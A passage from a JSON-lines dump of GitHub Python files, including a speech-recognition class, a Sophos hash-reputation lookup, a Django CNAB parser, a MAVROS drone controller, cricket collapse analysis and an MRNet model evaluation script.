getDate(MFCButton.display())\n freeDatesButtons = self.__listToButtonsDict(freeDatesList)\n # add Dates to MFC button\n for freeDate in freeDatesButtons.values():\n MFCButton.addChild(freeDate)\n # add Times buttons to Date button\n freeTimes = self.__getDictFreeTimesByButton(MFCButton=MFCButton, dateButton=freeDate)\n\n @staticmethod\n def getInfoByName(name: str) -> List[str]:\n timeNameList = getRecordByName(name=name)\n return timeNameList\n\n @staticmethod\n def getInfoAboutRecordByChatID(chatID: str) -> List[str]:\n timeNameList = getRecordByUsername(chatID)\n return timeNameList\n\n @staticmethod\n def getNearestMFCButton(x: float, y: float) -> Button:\n return Button(text=getNearestMfc(x, y))\n","repo_name":"andreyvaran/MatrenaDocker","sub_path":"recordControl.py","file_name":"recordControl.py","file_ext":"py","file_size_in_byte":3121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30639169271","text":"import asyncio\nimport time\nimport speech_recognition as sr\n\n\n\nclass SpeechDetection:\n \n running = True\n \n # Create a recognizer object\n speech_recognizer = sr.Recognizer()\n\n # Create a microphone object\n microphone = sr.Microphone()\n\n utterances = []\n\n # Define a function to get the current time\n def get_current_time(self):\n return time.time() * 1000\n\n # Define the callback function to handle speech recognition results\n def callback(self, recognizer, audio):\n try:\n start_time = self.get_current_time()\n\n # Convert audio to text\n text = recognizer.recognize_google(audio)\n\n # Update the most recent utterance\n most_recent_utterance = text\n\n if most_recent_utterance == \"the\" or most_recent_utterance == \"\":\n return\n\n data = {\n \"start_time\": start_time,\n \"utterance\": most_recent_utterance,\n \"end_time\": self.get_current_time(),\n }\n\n self.utterances.append(data)\n print(self.utterances)\n\n except sr.UnknownValueError:\n # Speech is not recognized\n pass\n except sr.RequestError as error:\n # Error occurred during speech recognition\n print(\"Error: {}\".format(error))\n\n # Define the main function to connect to the WebSocket server and run the program\n async def main(self):\n # Adjust the recognizer sensitivity to ambient noise and record audio from the microphone\n with self.microphone as source:\n self.speech_recognizer.adjust_for_ambient_noise(source)\n\n # Start the microphone listening\n listener = self.speech_recognizer.listen_in_background(\n self.microphone, callback=self.callback, phrase_time_limit=5\n )\n\n print(\"Listening...\")\n try:\n while self.running:\n pass\n listener(wait_for_stop=False)\n except KeyboardInterrupt:\n return\n\n def reset_state(self):\n self.utterances = []\n\n def collect(self):\n return self.utterances\n\n def start(self):\n self.running = True\n asyncio.run(self.main())\n \n def stop(self):\n self.running = False","repo_name":"Farissoliman/PairProgrammingTool","sub_path":"recognition/speech_detection.py","file_name":"speech_detection.py","file_ext":"py","file_size_in_byte":2293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"20729569652","text":"import math\n\n\"\"\"General configuration for the experiment scripts\n\nAuthor: Gilles Waeber, VII 2019\"\"\"\n\nMAX_DURATION = 9.18\n\nIMG_PEAK_XPPS_1 = 56\nIMG_PEAK_XPPS_2 = 200\nIMG_PEAK_XPPS_3 = 400\nIMG_PAD_XPPS = 56\nIMG_PAD_MAX_WIDTH = int(math.ceil(IMG_PAD_XPPS * MAX_DURATION))\nIMG_STRETCHED_WIDTH = 512\n\nimg_height = 256\nlearning_rate = .0001\nmax_epochs = 100\nsave_every = max_epochs\n\nhog_num_bins = 12\nlstm_neurons = 256\npadding = 'pre'\n","repo_name":"simon-at-fugu/bat_syllable_type_classifier","sub_path":"src/scripts/models/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71632431282","text":"import itertools as it\n\n\n# === 테스트 케이스 2개 시간 초과 === #\ndef solution(orders, courses):\n answer = []\n alphabet = []\n\n for order in orders:\n for ch in order:\n if ch not in alphabet:\n alphabet.append(ch)\n\n alphabet.sort()\n\n for course in courses:\n combinations = it.combinations(alphabet, course)\n temp = []\n\n for combination in combinations:\n contain = 0\n for order in orders:\n found = True\n for comb in combination:\n if comb not in order:\n found = False\n break\n if found:\n contain += 1\n\n if contain > 1:\n temp.append((contain, \"\".join(combination)))\n\n if temp:\n dd = list(filter(lambda x: x[0] == max(temp)[0], temp))\n answer.extend(list(zip(*dd))[1])\n\n return sorted(answer)\n\nif __name__ == '__main__':\n orders = [\"ABCDE\", \"AB\", \"CD\", \"ADE\", \"XYZ\", \"XYZ\", \"ACD\"]\n courses = [2, 3, 5]\n print(solution(orders, courses))\n","repo_name":"LifesLike/algorithm-study","sub_path":"programmers/level2/메뉴 리뉴얼/solution1.py","file_name":"solution1.py","file_ext":"py","file_size_in_byte":1125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17498118459","text":"#!/usr/bin/env python3\n\"\"\"Script for generating a traceroute.dat with our traceroute impl\"\"\"\nfrom pickle import dump\nimport config\n\ntraces = [\n query\n for _ in range(config.NUMTRACES)\n for query in config.traceroute(config.UNIVERSITIES)\n]\n\nwith open('traceroute.pickle', 'wb+') as file:\n dump(traces, file)\n","repo_name":"SabatiniFederico/Redes-TPs","sub_path":"TP2/scripts/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27794316657","text":"#!/usr/bin/python3\n\n# requests for web call to REST API\nimport requests\n# System for CLI Args\nimport sys\n# OS for File Validation\nimport os\n# CSV for exporting to CSV\nimport csv\n# Import Time\nimport time\n# Import URLParse library to validate URLS in IOCS\nfrom string import Template\n\nfrom oauthlib.oauth2 import BackendApplicationClient\nfrom requests_oauthlib import OAuth2Session\nfrom requests.auth import HTTPBasicAuth\n\nimport json\n\nfrom urllib.parse import urlparse\n\n# client_id.txt y client_secret.txt deben estar en el mismo directorio que el fichero python a ejecutar\n# client_id.txt y client_secret.txt permiten realizar la autenticacion OAUTH2\n# obteniendose el Token temporal de Autenticacion que se inyecta en la cabecera\n\ndef autorizacion():\n\n\tfile_client_id = open(\"client_id.txt\", \"r\")\n\tclient_id = file_client_id.read().rstrip()\n\n\tfile_client_secret = open(\"client_secret.txt\", \"r\")\n\tclient_secret = file_client_secret.read().rstrip()\n\n\ttoken_url = 'https://api.labs.sophos.com/oauth2/token'\n\n\tauth = HTTPBasicAuth(client_id, client_secret)\n\tclient = BackendApplicationClient(client_id=client_id)\n\toauth = OAuth2Session(client=client)\n\tauth_code = oauth.fetch_token(token_url=token_url, auth=auth)\n\n\trespuesta_json = json.loads(json.dumps(auth_code))\n\tglobal token_acceso\n\ttoken_acceso=respuesta_json[\"access_token\"]\n\n\n# Make the Hash Lookup\ndef busca_hash(ioc):\n\turl = 'https://de.api.labs.sophos.com/lookup/files/v1/%s' % ioc\n\theaders = {'Authorization': token_acceso}\n\n\t# Make the request\n\tresponse = requests.get(url, headers=headers)\n\n\t# Get the JSON response in Python DICT\n\tjson_response = response.json()\n\n\ttry:\n\t\tjson_response['error']\n\n\texcept:\n\t\t# Test to see if detectionName key exists - if it doesn't it'll mark it unknown\n\t\ttry:\n\t\t\tjson_response['detectionName']\n\t\texcept KeyError:\n\t\t\tdectectionname = \"Unknown\"\n\t\telse:\n\t\t\tdectectionname = json_response['detectionName']\n\n\t\t# Rep Score and Reputation Interpretation\n\t\trepscore = int(json_response['reputationScore'])\n\t\tif 0 <= repscore <= 19:\n\t\t\trepclasification = 'Malware'\n\n\t\telif 20 <= repscore <= 29:\n\t\t\trepclasification = 'PUA (potentially unwanted application)'\n\n\t\telif 30 <= repscore <= 69:\n\t\t\trepclasification = 'Unknown/Suspicious'\n\n\t\telif 70<= repscore <= 100:\n\t\t\trepclasification = 'Known good'\n\n\t# If there's an error then return values\n\telse:\n\t\trepscore = 'Unknown'\n\t\tdectectionname = 'Unknown'\n\t\trepclasification = 'Unknown'\n\n\tprint('IoC= %s' % ioc)\n\tprint('Reputation Score= %s' % repscore)\n\tprint('Detection Name= %s' % dectectionname)\n\tprint('Clasification= %s' % repclasification)\n\n\n\nif __name__ == \"__main__\":\n\tautorizacion()\n\tioc=str(sys.argv[1])\n\tbusca_hash(ioc)\n\tsys.exit(0)\n","repo_name":"arrodas/Telegram-Sophos-Intelix-Bot","sub_path":"check_hash.py","file_name":"check_hash.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6800795462","text":"import operator as op\nimport math\n\nfrom typing import List, Tuple, Dict, Any\n\nclass IdentifierNotFoundInScope(Exception):\n \"\"\" IdentifierNotFoundInScope Exception\n\n If the identifer is not found with in the scopes leading up to\n the global scope, then this Exception IdentifierNotFoundInScope\n will be raised to signal to the interpreter to raise error\n \"\"\"\n pass\n\n\nclass Scope(dict):\n \"\"\" Scope object extends dict\n TODO: Write object implementation details\n \"\"\"\n\n def __init__(self, identifiers=(), values=(), parent=None):\n \"\"\" Creates the scope object with indentifiers and values\n\n :param identifiers: the indentifier to be added\n :type identifiers: tuple\n :param values: the values associated with indentifiers\n :type values: tuple\n :param parent: the parent scope defaults to None if it is global\n :type parent: Scope\n \"\"\"\n # update the scope dictionary\n self.update(zip(identifiers, values))\n self.parent = parent\n\n\n\n def lookup(self, identifier: str) -> Any:\n \"\"\" Recursivly looks up the indentifer is current Scope and parent Scope\n\n :param identifier: the indentifier to be looked up\n :type identifier: str\n\n :returns: The value associated with the identifier\n :rtype: Any\n\n :raises: IdentifierNotFoundInScope when identifier is not found\n \"\"\"\n \n # check for indentifier in self\n if identifier in self:\n return self[identifier]\n elif self.parent == None:\n # is the global scope and indentifier is not found\n raise IdentifierNotFoundInScope(f'The indentifier {identifier} cannot be located.')\n else:\n return self.parent.lookup(identifier)\n\n\ndef get_global_scope(addon={}) -> Scope:\n \"\"\" Provides the standard functions for the language\n\n Interpreter can specify additional functions to be added to the global scope\n from the addon dictionary\n\n :param addon: Additional standard functions to be added\n :type addon: dict\n\n :returns: the scope with the standard functions\n :rtype: Scope\n \"\"\"\n \n scope = Scope()\n scope.update({\n '+':op.add, '-':op.sub, '*':op.mul, '/':op.truediv, \n '>':op.gt, '<':op.lt, '>=':op.ge, '<=':op.le, '=':op.eq,\n 'true': True,\n 'false': False,\n 'local': lambda *x: x[-1],\n 'car': lambda x: x[0],\n 'cdr': lambda x: x[1:],\n 'cons': lambda x,y: [x] + y,\n 'eq?': op.is_, \n 'equal?': op.eq, \n 'list': lambda *x: list(x), \n 'list?': lambda x: isinstance(x,list),\n 'empty?': lambda x: len(x) == 0,\n 'zero?': lambda x: x == 0,\n 'abs': abs,\n 'append': op.add,\n 'max': max,\n 'min': min,\n 'not': op.not_,\n 'and': op.and_,\n 'or': op.or_,\n '&': op.and_,\n '|': op.or_,\n '%': op.mod,\n 'in?': op.contains,\n 'list-get': lambda x,y: x[y],\n 'sqrt': math.sqrt,\n 'sqr': lambda x: x**2,\n 'pow': lambda x,y: x ** y,\n })\n scope.update(addon)\n return scope\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"mustartt/functional-interpreter","sub_path":"interpreter/Scope.py","file_name":"Scope.py","file_ext":"py","file_size_in_byte":3271,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"8993957693","text":"from rest_framework import serializers\nimport ipdb\n\nfrom .models import CNABdoc, CNABfile\n\nclass CNABdocSerializer(serializers.ModelSerializer):\n \n class Meta:\n\n model = CNABfile\n\n fields = [\n \"cnab_doc\"\n ]\n \n\n def create(self, validated_data):\n\n CNAB_file_object= CNABfile.objects.create(**validated_data)\n\n path= validated_data['cnab_doc'].name\n\n conteudo = open(f'cnabdoc/{path}', 'r', encoding=\"utf-8\")\n\n conteudo_formatado = conteudo.read()\n\n parts = [conteudo_formatado[i:i+80] for i in range(0, len(conteudo_formatado), 81)]\n\n for part in parts:\n part1=part[0:1]\n part2=part[1:9]\n part3=part[9:19]\n part4=part[19:30]\n part5=part[30:42]\n part6=part[42:48]\n part7=part[48:62]\n part8=part[62:81]\n\n CNAB_object = CNABdoc.objects.create(\n type=part1,\n date=f'{part2[0:4]}-{part2[5:6]}-{part2[7:8]}',\n value=int(part3)/100,\n cpf=part4,\n card=part5,\n hour=f'{part6[0:2]}:{part6[3:4]}:{part6[5:6]}',\n owner=part7,\n store=part8\n )\n\n conteudo.close()\n\n return CNAB_file_object\n\nclass CNABentriesSerializer(serializers.ModelSerializer):\n\n class Meta:\n\n model = CNABdoc\n\n fields = [\n \"id\",\n \"type\",\n \"date\",\n \"value\",\n \"cpf\",\n \"card\",\n \"hour\",\n \"owner\",\n \"store\"\n ]\n\n ready_only_fields = [\"id\"]\n\n","repo_name":"Wieduardo/DesafioBackend","sub_path":"cnab/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29747178569","text":"\n\"\"\"\nam folosit functia filter() impreuna cu operatorul lambda pentru a verifica fiecare element al listei languages si a-l\nreturna numai pe cel care este egal cu \"Python\".\nAm stocat rezultatul intr-o variabila numita filtered_languages si am afisat aceasta lista utilizand functia print().\nRezultatul va fi o lista cu un singur element: [\"Python\"].\n\"\"\"\n\nlanguages = [\"HTML\", \"JavaScript\", \"Python\", \"Ruby\"]\nfiltered_languages = list(filter(lambda x: x == \"Python\", languages))\nprint(filtered_languages)\n","repo_name":"xDeimen/Python_Labs","sub_path":"Lab4/Exercises/Huszar_Istvan_Lab4_Ex5.py","file_name":"Huszar_Istvan_Lab4_Ex5.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"ro","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1061965523","text":"#!/usr/bin/env python\n\nimport rospy\nfrom geometry_msgs.msg import PoseStamped, Twist\nfrom mavros_msgs.msg import State\nfrom mavros_msgs.srv import CommandBool, CommandBoolRequest, SetMode, SetModeRequest\n\ncurrent_state = State()\ngoal_pose = PoseStamped()\ngoal_pose.pose.position.z = 2\n\ndef state_cb(msg):\n\tglobal current_state\n\tcurrent_state = msg\n\trospy.loginfo('State Updated')\n\ndef goal_pose_cb(msg):\n\tglobal goal_pose\n\tgoal_pose = msg\n\trospy.loginfo('Goal Updated')\n\nif __name__ == \"__main__\":\n\tglobal current_state, goal_pose\n\trospy.init_node('offb_node', anonymous=True)\n\t\n\trospy.Subscriber('mavros/state', State, state_cb)\n\trospy.Subscriber('set_goal_pose', PoseStamped, goal_pose_cb)\n\tpose_publisher = rospy.Publisher('mavros/setpoint_position/local', PoseStamped, queue_size=10)\n\n\tarm_client = rospy.ServiceProxy('mavros/cmd/arming', CommandBool)\n\tset_mode_client = rospy.ServiceProxy('mavros/set_mode', SetMode)\n\t\n\t# Rate must be much higher than 2 Hz to avoid timeout\n\trate = rospy.Rate(20)\n\n\t# Wait for FCU to connect to MAVROS\n\twhile not rospy.is_shutdown() and not current_state.connected:\n\t\trate.sleep()\n\t\trospy.loginfo('FCU not connected')\n\n\trospy.loginfo('Publishing initial waypoints')\n\n\t# Setpoints need to be streaming before commanding a switch to OFFBOARD Mode\n\tfor i in range(50):\n\t\tif not rospy.is_shutdown():\n\t\t\tpose_publisher.publish(goal_pose)\n\t\t\trate.sleep()\n\n\tposhold_mode_req = SetModeRequest()\n\tposhold_mode_req.custom_mode = 'POSCTL'\n\n\toffb_mode_req = SetModeRequest()\n\toffb_mode_req.custom_mode = 'OFFBOARD'\n\tarm_req = CommandBoolRequest()\n\tarm_req.value = True\n\n\t# Switch to Position Hold before OFFBOARD as on losing connection, the failsafe enables the previous mode\n\n\tif set_mode_client(poshold_mode_req).mode_sent:\n\t\trospy.loginfo('POSCTL enabled')\n\n\tlast_req = rospy.Time.now()\n\n\trospy.loginfo('Entering Main Loop')\n\n\twhile not rospy.is_shutdown():\n\t\tif current_state.mode != 'OFFBOARD' and rospy.Time.now() - last_req > rospy.Duration(5.0):\n\t\t\tif set_mode_client(offb_mode_req).mode_sent:\n\t\t\t\trospy.loginfo(\"OFFBOARD enabled\")\n\t\t\tlast_req = rospy.Time.now()\n\t\telif not current_state.armed and rospy.Time.now() - last_req > rospy.Duration(5.0):\n\t\t\tif arm_client(arm_req).success:\n\t\t\t\trospy.loginfo(\"Vehicle Armed\")\n\t\t\tlast_req = rospy.Time.now()\n\t\tpose_publisher.publish(goal_pose)\n\t\trate.sleep()","repo_name":"TheRoboticsClub/colab-gsoc2019-Nikhil_Khedekar","sub_path":"catkin_ws/src/drone_exercises/src/offb_position_control.py","file_name":"offb_position_control.py","file_ext":"py","file_size_in_byte":2335,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"11746793554","text":"from collections import defaultdict\n\nclass Solution:\n def lengthOfLongestSubstringKDistinct(self, s: str, k: int) -> int:\n lookup = defaultdict(int)\n l = 0\n maxLength = 0\n count = 0\n \n for r in range(len(s)):\n if s[r] not in lookup or lookup[s[r]] == 0:\n count += 1\n lookup[s[r]] += 1\n \n while l <= r and count > k:\n lookup[s[l]] -= 1\n if lookup[s[l]] == 0:\n count -= 1\n l += 1\n \n \n maxLength = max(maxLength, r - l + 1)\n \n return maxLength","repo_name":"zeroviral/leetcode_stuff","sub_path":"longest-substring-with-at-most-k-distinct-characters/longest-substring-with-at-most-k-distinct-characters.py","file_name":"longest-substring-with-at-most-k-distinct-characters.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"19103932645","text":"import pandas as pd\nfrom collections import namedtuple\nimport logging\n\nlog = logging.getLogger(__name__)\n\n\ndef check_collapse_n_wickets(d_runs, n):\n \"\"\"\n Takes a dictionary of wickets falling (runs for wicket i=1:10), and n a number of wickets fallen to define a collapse.\n Returns a list of all collapses for n number of wickets fallen.\n The list contains Collapse namedtuple: start wicket, end wicket of collapse, number of runs, and positions involved.\n \"\"\"\n\n Collapse = namedtuple(\"Collapse\", [\"start\", \"end\", \"runs\", \"wickets_lost\", \"batters\", \"batters_positon\", \"batters_runs\", \"batters_bf\"])\n n_collapses = 0\n l_collapses = []\n\n for i in range(n, len(d_runs)):\n l_wickets_lost = []\n l_batters_involved = []\n l_batters_position = []\n l_batters_runs = []\n l_batters_bf = []\n\n # skip the case from 0 to i, since only i wickets will have fallen\n if i == n:\n continue\n\n # calculate runs lost for wicket # i-n, i-n+1,...,i\n # e.g. if n=2 and i=5, wickets 3,4,5 have fallen\n diff = d_runs[i][0] - d_runs[i - n][0]\n\n if diff <= 30:\n l_wickets_lost = [s for s in range(i - n, i + 1)]\n l_batters_involved = [d_runs[s][1] for s in range(i - n, i + 1)]\n l_batters_position = [d_runs[s][2] for s in range(i-n,i+1)]\n l_batters_runs = [d_runs[s][3] for s in range(i-n,i+1)]\n l_batters_bf = [d_runs[s][4] for s in range(i-n,i+1)]\n\n collapse = Collapse(start=i-n,\n end=i,\n runs=diff,\n wickets_lost=l_wickets_lost,\n batters=l_batters_involved,\n batters_positon=l_batters_position,\n batters_runs=l_batters_runs,\n batters_bf=l_batters_bf)\n\n l_collapses.append(collapse)\n\n return l_collapses\n\n\ndef check_all_collapses(d_runs):\n \"\"\"\n Go through all length batting collapses to see if any smaller are extended.\n e.g. lose 3 wickets for 30, lose 4 wickets for 30, lose 5 wickets for 30 -> only count as 1 collapse\n\n check if batters for small n is contained within batters for larger n\n\n do some optimisations at a later stage\n \"\"\"\n # build list of collapses for every length of collapse (min.2, max.10 wickets lost)\n l_collapses = []\n for i in reversed(range(2, 10)):\n l_collapse = check_collapse_n_wickets(d_runs, i)\n if len(l_collapse) > 0:\n l_collapses += l_collapse\n\n # reduce to drop any \"sub-collapses\" e.g. 4,5,6 is a sub-collapse of 4,5,6,7\n l_collapses_reduced = l_collapses[:]\n for m in l_collapses:\n for n in l_collapses:\n if set(m.wickets_lost) <= set(n.wickets_lost) and m != n:\n # if is a sub-collapse, remove the smaller object from the list: we no longer need to test it\n l_collapses_reduced.remove(m)\n # and break, as\n break\n\n # return number of collapses\n return l_collapses_reduced\n\n\ndef return_collapses(df):\n \"\"\"\n for each innings (group), want to return one row for each collapse,\n containing columns: start, end, runs, positions, (batters)\n \"\"\"\n\n l_runs = list(df.Runs)\n l_runs.insert(0, 0)\n l_player = list(df.Player)\n l_player.insert(0, \"\")\n l_batting_position = list(df.BattingPosition)\n l_batting_position.insert(0, \"\")\n l_batter_runs = list(df.R)\n l_batter_runs.insert(0, \"\")\n l_batter_bf = list(df.BF)\n l_batter_bf.insert(0, \"\")\n\n d_runs = {i: (l_runs[i], l_player[i], l_batting_position[i], l_batter_runs[i], l_batter_bf[i]) for i in\n range(len(l_runs))}\n\n l_collapses = check_all_collapses(d_runs)\n\n return pd.DataFrame(l_collapses)","repo_name":"AdamGaventa/cricSheet","sub_path":"src/cricsheet/fow_analysis/collapses/extract_collapses.py","file_name":"extract_collapses.py","file_ext":"py","file_size_in_byte":3868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16615429855","text":"import argparse\nimport matplotlib.pyplot as plt\nimport os\nimport numpy as np\nimport torch\n\nfrom sklearn import metrics\nfrom torch.autograd import Variable\n\nfrom loader import load_data\nfrom model import MRNet, TripleMRNet\nfrom tqdm import tqdm\n\ndef get_parser():\n \n parser = argparse.ArgumentParser()\n parser.add_argument('--model_path', type=str, required=True)\n parser.add_argument('--split', type=str, required=True)\n parser.add_argument('--diagnosis', type=int, required=True)\n parser.add_argument('--gpu', action='store_true')\n \n return parser\n\ndef plot_roc(fpr_abnormal, tpr_abnormal, fpr_acl, tpr_acl, fpr_meniscus, tpr_meniscus, auc_abnormal, auc_acl, auc_meniscus):\n plt.figure()\n lw = 2\n plt.plot(fpr_abnormal, tpr_abnormal, color='darkorange',\n lw=lw, label='Abnormal Task ROC curve (area = %0.2f)' % auc_abnormal)\n plt.plot(fpr_acl, tpr_acl, color='green',\n lw=lw, label='ACL Task ROC curve (area = %0.2f)' % auc_acl)\n plt.plot(fpr_meniscus, tpr_meniscus, color='blue',\n lw=lw, label='Meniscus Task ROC curve (area = %0.2f)' % auc_meniscus)\n \n plt.plot([0, 1], [0, 1], color='red', lw=lw, linestyle='--')\n plt.xlim([0.0, 1.0])\n plt.ylim([0.0, 1.05])\n plt.xlabel('False Positive Rate', fontsize=16)\n plt.ylabel('True Positive Rate', fontsize=14)\n plt.title('3D CNN: Receiver operating characteristic', fontsize=14)\n plt.legend(loc=\"lower right\", fontsize=12)\n plt.savefig(\"roc_2d3d_cnn.png\")\n\ndef run_model(model, loader, train=False, optimizer=None):\n \n preds = []\n labels = []\n\n if train:\n model.train()\n else:\n model.eval()\n\n total_loss = 0.\n num_batches = 0\n \n losses = {}\n best = None\n worst = None\n \n min_loss = 100\n max_loss = 0\n\n for batch in tqdm(loader):\n \n vol_axial, vol_coronal, vol_sagittal, label = batch\n \n if train:\n optimizer.zero_grad()\n\n if loader.dataset.use_gpu:\n vol_axial, vol_coronal, vol_sagittal = vol_axial.cuda(), vol_coronal.cuda(), vol_sagittal.cuda()\n label = label.cuda()\n vol_axial, vol_coronal, vol_sagittal = Variable(vol_axial), Variable(vol_coronal), Variable(vol_sagittal)\n label = Variable(label)\n\n logit = model.forward(vol_axial, vol_coronal, vol_sagittal)\n\n# loss = loader.dataset.standard_loss(logit, label)\n loss = loader.dataset.weighted_loss(logit, label)\n total_loss += loss.item()\n \n \n# # losses[loss] = label.cpu()\n# # print(sorted(losses.items()))\n# # print(label[0])\n if loss < min_loss:\n min_loss = loss\n best = label[0]\n# print(\"best: \", best)\n elif loss > max_loss:\n max_loss = loss\n worst = label[0]\n# print(\"worst: \", worst)\n \n pred = torch.sigmoid(logit)\n\n pred_npy = pred.data.cpu().numpy()[0]\n label_npy = label.data.cpu().numpy()[0][0]\n\n preds.append(pred_npy)\n labels.append(label_npy)\n\n if train:\n loss.backward()\n optimizer.step()\n num_batches += 1\n\n avg_loss = total_loss / num_batches\n \n labels_npy = np.asarray(labels)\n preds_npy = np.asarray(preds)\n \n accuracy = [np.mean((preds_npy[:,0] > 0.5) == (labels_npy[:,0] == 1))]\n accuracy.append(np.mean((preds_npy[:,1] > 0.5) == (labels_npy[:,1] == 1)))\n accuracy.append(np.mean((preds_npy[:,2] > 0.5) == (labels_npy[:,2] == 1)))\n \n fpr, tpr, threshold = metrics.roc_curve(labels_npy[:,0], preds_npy[:,0])\n auc = [metrics.auc(fpr, tpr)]\n fpr_abnormal = fpr\n tpr_abnormal = tpr\n auc_abnormal = metrics.auc(fpr, tpr)\n print(\"recall abnormal: \", metrics.recall_score(labels_npy[:,0], np.where(preds_npy[:,0] > 0.5, 1, 0)))\n print(\"accuracy abnormal: \", metrics.accuracy_score(labels_npy[:,0], np.where(preds_npy[:,0] > 0.5, 1, 0)))\n print(\"precision abnormal: \", metrics.precision_score(labels_npy[:,0], np.where(preds_npy[:,0] > 0.5, 1, 0)))\n \n# print(\"sum preds: \", np.sum(np.where(preds_npy[:,0] > 0.5, 1, 0)))\n# print(\"sum actual: \", np.sum(labels_npy[:,0]))\n \n fpr, tpr, threshold = metrics.roc_curve(labels_npy[:,1], preds_npy[:,1])\n auc.append(metrics.auc(fpr, tpr))\n fpr_acl = fpr\n tpr_acl = tpr\n auc_acl = metrics.auc(fpr, tpr)\n print(\"recall acl: \", metrics.recall_score(labels_npy[:,1], np.where(preds_npy[:,1] > 0.5, 1, 0)))\n print(\"accuracy acl: \", metrics.accuracy_score(labels_npy[:,1], np.where(preds_npy[:,1] > 0.5, 1, 0)))\n print(\"precision acl: \", metrics.precision_score(labels_npy[:,1], np.where(preds_npy[:,1] > 0.5, 1, 0)))\n# print(\"sum preds: \", np.sum(np.where(preds_npy[:,1] > 0.5, 1, 0)))\n# print(\"sum actual: \", np.sum(labels_npy[:,1]))\n \n fpr, tpr, threshold = metrics.roc_curve(labels_npy[:,2], preds_npy[:,2])\n auc.append(metrics.auc(fpr, tpr))\n fpr_meniscus = fpr\n tpr_meniscus = tpr\n auc_meniscus = metrics.auc(fpr, tpr)\n print(\"recall meniscus: \", metrics.recall_score(labels_npy[:,2], np.where(preds_npy[:,2] > 0.5, 1, 0)))\n print(\"accuracy meniscus: \", metrics.accuracy_score(labels_npy[:,2], np.where(preds_npy[:,2] > 0.5, 1, 0)))\n print(\"precision meniscus: \", metrics.precision_score(labels_npy[:,2], np.where(preds_npy[:,2] > 0.5, 1, 0)))\n \n# print(\"sum preds: \", np.sum(np.where(preds_npy[:,1] > 0.5, 1, 0)))\n# print(\"sum actual: \", np.sum(labels_npy[:,1]))\n \n \n# print(\"best: \", best)\n# print(\"worst: \", worst)\n \n# plot_roc(fpr_abnormal, tpr_abnormal, fpr_acl, tpr_acl, fpr_meniscus, tpr_meniscus, auc_abnormal, auc_acl, auc_meniscus)\n\n return avg_loss, auc, accuracy, preds, labels\n\ndef evaluate(path, split, model_path, use_gpu):\n \n train_loader, valid_loader, test_loader = load_data(path, use_gpu)\n\n model = TripleMRNet()\n state_dict = torch.load(model_path, map_location=(None if use_gpu else 'cpu'))\n model.load_state_dict(state_dict)\n\n if use_gpu:\n model = model.cuda()\n\n if split == 'train':\n loader = train_loader\n elif split == 'valid':\n loader = valid_loader\n elif split == 'test':\n loader = test_loader\n else:\n raise ValueError(\"split must be 'train', 'valid', or 'test'\")\n\n loss, auc, accuracy, preds, labels = run_model(model, loader)\n \n print(f'{split} loss: {loss:0.4f}')\n print(f'{split} AUC_abnormal: {auc[0]:0.4f}')\n print(f'{split} AUC_acl: {auc[1]:0.4f}')\n print(f'{split} AUC_meniscus: {auc[2]:0.4f}')\n\n return preds, labels\n\nif __name__ == '__main__':\n \n #args = get_parser().parse_args()\n #evaluate(args.split, args.model_path, args.diagnosis, args.gpu)\n evaluate(path='MRNet-v1.0/', split='test', model_path='models/val0.1988_train0.2127_epoch12', use_gpu=True)","repo_name":"giacomolamberti90/CS231N_project","sub_path":"3dcnn/3dcnn-evaluate.py","file_name":"3dcnn-evaluate.py","file_ext":"py","file_size_in_byte":6870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32354883476","text":"import random\nanswer = random.randint(1,1001)\ngameOver = False\nwhile not gameOver:\n guess = int(input(\"Enter your guess (between 1 and 1001): \"))\n if guess == answer:\n print (\"You guessed right!\")\n gameOver = True\n elif guess > answer:\n print (\"Too high, dude\")\n else:\n print (\"Too low, dude\")\n","repo_name":"liamvwood/Pi-Top-Repo","sub_path":"guess-the-number.py","file_name":"guess-the-number.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21169441146","text":"numList = [10,18,4,8,20,3]\nsum = 0\nfor item in numList:\n\tsum+=item\nprint(\"Sum: \"+str(sum))\nsmallest = numList[0]\nfor item in numList:\n\tif(item < smallest):\n\t\tsmallest = item\nprint(\"Smallest:\" +str(smallest))\n\nfor i in range(5):\n\tfor x in range(i+1):\n\t\tprint(\"*\", end=\"\")\n\tprint()\n","repo_name":"KevinMFinch/Python-Samples","sub_path":"listQuiz.py","file_name":"listQuiz.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17988916954","text":"import os\nfrom functools import reduce\nimport itertools\nfrom operator import and_, or_\nfrom pathlib import Path\nfrom copy import deepcopy\nimport re\nimport shutil\nimport collections\nimport glob\nfrom pprint import pformat\nfrom tinydb import TinyDB, where\nfrom tinydb.storages import 